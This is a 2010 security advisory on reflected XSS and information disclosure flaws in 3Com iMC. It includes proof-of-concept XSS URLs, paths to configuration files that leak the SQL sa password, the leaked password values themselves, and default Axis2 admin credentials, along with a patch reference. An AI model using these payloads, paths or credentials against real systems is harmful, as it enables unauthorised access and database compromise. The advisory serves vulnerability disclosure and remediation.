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Vulnerabilities 2010


PR10-02 Various XSS and information disclosure flaws within 3Com* iMC (Intelligent Management Center)


  • Advisory publicly released: Thursday, 20 May 2010
  • Vulnerability found: Friday, 29 January 2010
  • Vendor informed: Monday, 1 February 2010
  • Vendor response: Monday, 1 February 2010
  • Vulnerability fixed: Thursday, 13 May 2010
  • Severity level: Medium/High
  • Credits
    Richard Brain of ProCheckUp Ltd (www.procheckup.com)
  • Description
    3Com's iMC (Intelligent Management Centre) provides professional management of 3Com and third party network devices, the IMC is normally accessed using a web browser over port 8080. Various IMC pages are vulnerable to a reflective XSS attack, including the login page. Various pages also disclose information including the SQL sa account password which might be used to assist in carrying out further attacks.


    Note: tested on 3Com IMC running on Windows and Microsoft SQL 2005

    Version 3.3.9 R2 606 29 Sept 2009
    Version 3.3 SP1 R2 606 15 Dec 2009
  • Proof of concept
    The following demonstrate the XSS flaws (no authentication needed):

    1) The login page is vulnerable to a vanilla XSS


    http://target-domain.foo:8080/imc/login.jsf?loginForm%3a_link_hidden_=&javax.faces.ViewState=%3C/textarea%3E%3Cscript%3Ealert(1)%3C/script%3E




    2) IE only

    http://target-domain.foo:8080/imc/dwr/call/plaincall/blah?callCount=<script>alert(1)</script>
    http://target-domain.foo:8080/imc/dwr/interface/<script>alert(1)</script>



    Consequences:

    An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to a 3Com IMC-based site. Such code would run within the security context of the target domain. This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: session IDs) to unauthorised third parties.

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    The following demonstrate the Information disclosure flaws (no authentication needed)

    1) The SQL sa account password can be remotely retrieved, by knowing the path of the configuration file.

    http://target-domain.foo:8080/imc/reportscript/sqlserver/deploypara.properties
    http://target-domain.foo:8080/rpt/reportscript/sqlserver/deploypara.properties
    http://target-domain.foo:8080/imc/reportscript/oracle/deploypara.properties

    The sql file contains the following information:-
    report.db.server.name=127.0.0.1
    report.db.server.sa.pass=iMC-Install2005
    report.db.server.user.pass=sqlsql

    2) Information about the web services supported is publically disclosed by the Axis2 console.
    http://target-domain.foo:8080/imcws/

    Including services configuration
    http://target-domain.foo:8080/imcws/services/listServices

    The Axis2 console has the default credentials - User=admin Password=axis
    http://target-domain.foo:8080/imcws/axis2-admin/

    The Admin console allows machine configuration to be viewed and changed and new services uploaded.

    Consequences:

    An attacker may be able to obtain additional information on the machines configuration, and use this information for more advanced attacks.
  • How to fix
    Ensure that at least patch 3.3SP2 (R2606P13) has been installed.
  • References

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